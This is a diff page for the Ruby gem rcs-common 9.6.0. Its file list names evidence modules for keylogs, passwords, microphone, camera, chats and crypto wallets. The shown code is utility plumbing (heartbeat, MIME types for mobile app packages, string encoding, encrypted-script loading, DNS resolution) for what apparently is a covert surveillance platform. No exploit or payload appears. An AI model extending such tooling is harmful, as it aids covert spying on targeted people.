rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,96 @@
1
+ require 'rcs-common/trace'
2
+ require 'rcs-common/systemstatus'
3
+ require 'socket'
4
+
5
+ module RCS::HeartBeat
6
+ class Base
7
+ extend RCS::Tracer
8
+ include RCS::Tracer
9
+ include RCS::SystemStatusCodes
10
+
11
+ # Declare the component
12
+ # To use as an helper in the subclasses
13
+ def self.component(component_name, component_fullname = nil)
14
+ @component_name = component_name
15
+ @component_fullname = component_fullname
16
+ end
17
+
18
+ # This method is called from outside
19
+ def self.perform
20
+ heartbeat = new(@component_name, component_fullname: @component_fullname)
21
+ status, message = *heartbeat.perform
22
+ if status
23
+ heartbeat.update(status, message)
24
+ else
25
+ # trace(:warn, "heartbeat prevented")
26
+ end
27
+ rescue Interrupt
28
+ trace :fatal, "Heartbeat was interrupted because of a term signal"
29
+ rescue Exception => ex
30
+ trace :fatal, "Cannot perform heartbeat: #{ex.message}"
31
+ trace :fatal, ex.backtrace
32
+ end
33
+
34
+
35
+ def initialize(component_name, component_fullname: nil)
36
+ raise("Undefined component version") unless version
37
+ raise("Undefined component name") unless component_name
38
+
39
+ @component_name = component_name.to_s.downcase
40
+ @component_fullname = component_fullname || "RCS::#{component_name.to_s.capitalize}"
41
+ end
42
+
43
+ def update(status, message)
44
+ system_status, system_message = *system_status_and_message
45
+
46
+ if status == OK and system_status != OK
47
+ status, message = system_status, system_message
48
+ end
49
+
50
+ attributes = [@component_fullname, hostname, status, message, machine_stats, @component_name, version]
51
+
52
+ if defined?(::Status)
53
+ # Db
54
+ ::Status.status_update(*attributes)
55
+ else
56
+ # Collector
57
+ db_class = Object.const_get(@component_fullname)::DB
58
+ attributes[1] = ''
59
+ db_class.instance.update_status(*attributes)
60
+ end
61
+ ensure
62
+ reset_system_status_and_message
63
+ end
64
+
65
+ # Override this method
66
+ def perform
67
+ system_status_and_message
68
+ end
69
+
70
+ private
71
+
72
+ def hostname
73
+ @hostname ||= Socket.gethostname rescue 'unknown'
74
+ end
75
+
76
+ def reset_system_status_and_message
77
+ RCS::SystemStatus.reset
78
+ end
79
+
80
+ def system_status_and_message
81
+ [RCS::SystemStatus.status, RCS::SystemStatus.message]
82
+ end
83
+
84
+ def version
85
+ $version
86
+ end
87
+
88
+ def machine_stats
89
+ {
90
+ disk: RCS::SystemStatus.disk_free,
91
+ cpu: RCS::SystemStatus.cpu_load,
92
+ pcpu: RCS::SystemStatus.my_cpu_load(@component_fullname)
93
+ }
94
+ end
95
+ end
96
+ end
@@ -0,0 +1,50 @@
1
+ # encoding: utf-8
2
+
3
+ # here we are re-opening the ruby String class,
4
+ # the namespace must not be specified
5
+
6
+ require_relative 'sanitize'
7
+
8
+ class String
9
+
10
+ def keywords
11
+
12
+ # make a copy of itself to preserve the original
13
+ keywords = self.dup
14
+
15
+ # sanitize the input UTF-8
16
+ keywords.force_utf8!
17
+
18
+ # remove everything that is not alphanumeric
19
+ keywords.gsub!(/([^[:alnum:]])+/u, ' ')
20
+ #keywords.gsub!(/[(,%&@_":;!\#\-\*\[\]\{\}\?\\\+\'\.\/)]/, ' ')
21
+
22
+ # returns a copy of str with leading and trailing whitespace removed.
23
+ keywords.strip!
24
+
25
+ # convert to lowercase
26
+ keywords.downcase!
27
+
28
+ # split on spaces
29
+ keywords = keywords.split " "
30
+
31
+ # remove too long words
32
+ # it is with a very high probability a meaningless word (like encoded or something)
33
+ keywords.delete_if {|w| w.size > 25}
34
+
35
+ # remove duplicate words
36
+ keywords.uniq!
37
+
38
+ # sort the array
39
+ keywords.sort!
40
+
41
+ keywords
42
+ rescue Exception => e
43
+ #puts e.message if debug
44
+ #puts e.backtrace.first if debug
45
+ # fallback case
46
+ []
47
+ end
48
+
49
+ end
50
+
@@ -0,0 +1,65 @@
1
+ #
2
+ # Mime Types handling module
3
+ #
4
+
5
+ # system
6
+ require 'mime/types'
7
+
8
+ # reopen the original class in order to add our specific mime types
9
+ module MIME
10
+ class Types
11
+ # rename the original method to be used in our wrapper
12
+ alias mime_type_for type_for
13
+
14
+ # our wrapper which adds our types
15
+ def type_for(filename, platform = false)
16
+ # call the original method
17
+ type = mime_type_for(filename, platform)
18
+
19
+ if type.empty? then
20
+ case File.extname(filename)
21
+ when '.cod'
22
+ type = MIME::Type.from_array('application/vnd.rim.cod', 'cod', '8bit', 'linux')
23
+ when '.apk'
24
+ type = MIME::Type.from_array('application/vnd.android.package-archive', 'apk', '8bit', 'linux')
25
+ when '.aetx'
26
+ type = MIME::Type.from_array('application/x-aetx', 'aetx', '8bit', 'linux')
27
+ when '.xap'
28
+ type = MIME::Type.from_array('application/x-silverlight-app', 'xap', '8bit', 'linux')
29
+ end
30
+ end
31
+ return type
32
+ end
33
+ end
34
+ end
35
+
36
+ module RCS
37
+
38
+ class MimeType
39
+
40
+ def self.get(file)
41
+ begin
42
+ # ask for the mime type
43
+ type = MIME::Types.type_for(file)
44
+
45
+ # if there are multiple choices, get the first one
46
+ type = type.first if type.is_a?(Array)
47
+ rescue Exception => e
48
+ type = nil
49
+ end
50
+
51
+ # special case for IE mobile not understanding this
52
+ if File.extname(file) == '.cab' then
53
+ type = MIME::Type.new('binary/octet-stream')
54
+ end
55
+
56
+ # default if none is found
57
+ type = MIME::Type.new('binary/octet-stream') if type.nil?
58
+
59
+ # convert from MIME::Type to String
60
+ return type.to_s
61
+ end
62
+ end
63
+
64
+ end #RCS::
65
+
@@ -0,0 +1,19 @@
1
+ require 'mongoid'
2
+
3
+ # Monkey path serialization of BSON::ObjectId
4
+ module BSON
5
+ class ObjectId
6
+ def as_json(*args)
7
+ to_s
8
+ end
9
+ end
10
+ end
11
+
12
+ # Fix #symbolize_key called on BSON::Document
13
+ module BSON
14
+ class Document < ::Hash
15
+ def symbolize_keys
16
+ to_h.symbolize_keys
17
+ end
18
+ end
19
+ end
@@ -0,0 +1,62 @@
1
+ # here we are re-opening the ruby String class,
2
+ # the namespace must not be specified
3
+
4
+ class String
5
+
6
+ # returns a string encoded into a pascalized form
7
+ def pascalize
8
+ # the pascalized version is composed as follow:
9
+ # - 4 bytes len in front
10
+ # - UTF-16LE encoded string
11
+ # - UTF-16LE null terminator
12
+ pascalized = [self.encode('UTF-16LE').bytesize + 2].pack('I')
13
+ pascalized += self.encode('UTF-16LE').unpack('H*').pack('H*')
14
+ pascalized += "\x00\x00"
15
+
16
+ # BINARY is an alias for ASCII-8BIT
17
+ return pascalized.encode!('ASCII-8BIT')
18
+ end
19
+
20
+ # returns a string decoded from its pascalized form
21
+ def unpascalize
22
+ begin
23
+ # get the len (unsigned int 4 bytes)
24
+ len = self.unpack('I')
25
+ # sanity check to avoid
26
+ return nil unless len.first <= self.length - 4
27
+ # get the string
28
+ unpascalized = self.slice(4, len.first).force_encoding('UTF-16LE')
29
+ # convert to UTF-8
30
+ unpascalized.encode!('UTF-8')
31
+ # remove the trailing zero
32
+ unpascalized.chop!
33
+
34
+ return unpascalized
35
+ rescue
36
+ return nil
37
+ end
38
+ end
39
+
40
+ # returns an array containing all the concatenated pascalized strings
41
+ def unpascalize_ary
42
+ many = []
43
+ buffer = self
44
+ len = 0
45
+
46
+ begin
47
+ # len of the current token
48
+ len += buffer.unpack('I').first + 4
49
+ # unpascalize the token
50
+ str = buffer.unpascalize
51
+ # add to the result array
52
+ many << str unless str.nil?
53
+ # move the pointer after the token
54
+ buffer = self.slice(len, self.length)
55
+ # sanity check
56
+ break if buffer.nil?
57
+ end while buffer.length != 0
58
+
59
+ return many
60
+ end
61
+ end
62
+
@@ -0,0 +1,67 @@
1
+ module RCS
2
+ module Common
3
+ module PathUtils
4
+ # Requires and rcs module. Sarch for a folder named rcs-NAME, where NAME is
5
+ # the given name, and requires a script named NAME.rb
6
+ #
7
+ # @note The current directory is changed (chdir command)
8
+ def require_component(name, opts = {})
9
+ $invocation_directory = Dir.pwd
10
+ $invocation_directory = ENV['CWD'] if ENV['CWD']
11
+
12
+ init_script = caller[0].scan(/^(.+)\:\d+\:.+$/)[0][0]
13
+
14
+ if init_script !~ /(bin|lib)\/rcs\-#{name}/
15
+ raise "Invalid execution directory"
16
+ end
17
+
18
+ $execution_directory = File.expand_path('../..', init_script)
19
+
20
+ #puts "WARN: chdir to #{$execution_directory}"
21
+ Dir.chdir($execution_directory)
22
+
23
+ require_release("#{$execution_directory}/lib/rcs-#{name}-release/#{name}.rb", warn: true)
24
+
25
+ rescue LoadError => error
26
+ puts "FATAL: cannot load component rcs-#{name}: #{error.message}"
27
+ puts error.backtrace.join(", ") if error.backtrace.respond_to?(:join)
28
+ end
29
+
30
+ # Requires an encrypted ruby script (rcs-XXX-releases folders) when
31
+ # available, otherwise requires the clean version of it (rcs-XXX folders)
32
+ def require_release(path, warn: false, required: true)
33
+ if path.include?("-release")
34
+ new_path = path
35
+ else
36
+ new_path = path.gsub(/(.*)rcs-([^\/]+)/, '\1rcs-\2-release')
37
+ end
38
+
39
+ if warn and !new_path.include?('-release') and File.exists?(new_path)
40
+ puts "WARNING: Executing clear text code... (debug only)"
41
+ end
42
+
43
+ begin
44
+ require(new_path)
45
+ return
46
+ rescue LoadError => error
47
+ # In this case, raise the LoadError only if it's caused
48
+ # by another #require inside the required script, otherwise
49
+ # go on and try to require the clean version
50
+ raise(error) if error.path != new_path
51
+ end
52
+
53
+ begin
54
+ new_path.gsub!('-release', '')
55
+ require(new_path)
56
+ rescue LoadError => error
57
+ raise(error) if required
58
+ end
59
+ end
60
+ end
61
+ end
62
+ end
63
+
64
+ unless Kernel.respond_to?(:require_release)
65
+ Kernel.__send__(:include, RCS::Common::PathUtils)
66
+ Object.__send__(:include, Kernel)
67
+ end
@@ -0,0 +1,40 @@
1
+ require 'resolv'
2
+ require 'timeout'
3
+
4
+ module RCS
5
+ module Resolver
6
+ def resolved_dns_cache
7
+ @@dns_cache ||= {}
8
+ end
9
+
10
+ def resolve_dns(dns, use_cache: false)
11
+ if use_cache and resolved_dns_cache[dns]
12
+ return resolved_dns_cache[dns]
13
+ end
14
+
15
+ ip = nil
16
+
17
+ Timeout::timeout(8) do
18
+ ip = Resolv.getaddress(dns).to_s rescue nil
19
+ end
20
+
21
+ if ip.nil? and defined?(Win32)
22
+ Timeout::timeout(10) do
23
+ info = Win32::Resolv.get_resolv_info
24
+ resolver = Resolv::DNS.new(nameserver: info[1], search: info[0])
25
+ ip = resolver.getaddress(dns).to_s rescue nil
26
+ end
27
+ end
28
+
29
+ raise("Cannot resolve DNS #{dns.inspect}: unknown host") unless ip
30
+
31
+ resolved_dns_cache[dns] = ip
32
+
33
+ return ip
34
+ rescue Timeout::Error
35
+ raise("Cannot resolve DNS #{dns.inspect}: timeout")
36
+ rescue Exception => ex
37
+ raise("Cannot resolve DNS #{dns.inspect}: #{ex.message}")
38
+ end
39
+ end
40
+ end
@@ -0,0 +1,17 @@
1
+ require 'rcs-common/trace'
2
+
3
+ module RCS
4
+ module Common
5
+ module Rest
6
+ STATUS_OK = 200
7
+ STATUS_REDIRECT = 302
8
+ STATUS_BAD_REQUEST = 400
9
+ STATUS_AUTH_REQUIRED = 401
10
+ STATUS_NOT_FOUND = 404
11
+ STATUS_NOT_AUTHORIZED = 403
12
+ STATUS_METHOD_NOT_ALLOWED = 405
13
+ STATUS_CONFLICT = 409
14
+ STATUS_SERVER_ERROR = 500
15
+ end
16
+ end
17
+ end
@@ -0,0 +1,42 @@
1
+ # encoding: utf-8
2
+
3
+ # here we are re-opening the ruby String class,
4
+ # the namespace must not be specified
5
+
6
+ class String
7
+ REMOVE_INVALID_CHARS_REGEXP = Regexp.new(/([^[:alnum:][:graph:]\n\r])+/u)
8
+
9
+ def remove_invalid_chars
10
+ self.force_utf8.gsub(REMOVE_INVALID_CHARS_REGEXP, ' ')
11
+ end
12
+
13
+ def force_utf8(modify_self = false)
14
+ src_encoding = valid_encoding? ? encoding.to_s : 'BINARY'
15
+ dst_encoding = 'UTF-8'
16
+
17
+ args = [dst_encoding, src_encoding, {:invalid => :replace, :undef => :replace, replace: ''}]
18
+
19
+ modify_self ? encode!(*args) : encode(*args)
20
+ end
21
+
22
+ def force_utf8!
23
+ force_utf8(true)
24
+ end
25
+
26
+ def strip_html_tags
27
+ copy = self.dup
28
+
29
+ # Strip HTML tags
30
+ copy.gsub!(/<[^>]*>/, '')
31
+
32
+ # Strip encoded &amp; repetitively encoded HTML tags
33
+ copy.gsub!(/&amp;(amp;)*lt;.*?&amp;(amp;)*gt;/im, '')
34
+
35
+ # Strip HTML entities and repetitively encoded entities
36
+ # Or decode with http://htmlentities.rubyforge.org/
37
+ copy.gsub!(/&amp;(amp;)*((#x?)?[a-f0-9]+|[a-z]+);/i, ' ')
38
+
39
+ copy
40
+ end
41
+
42
+ end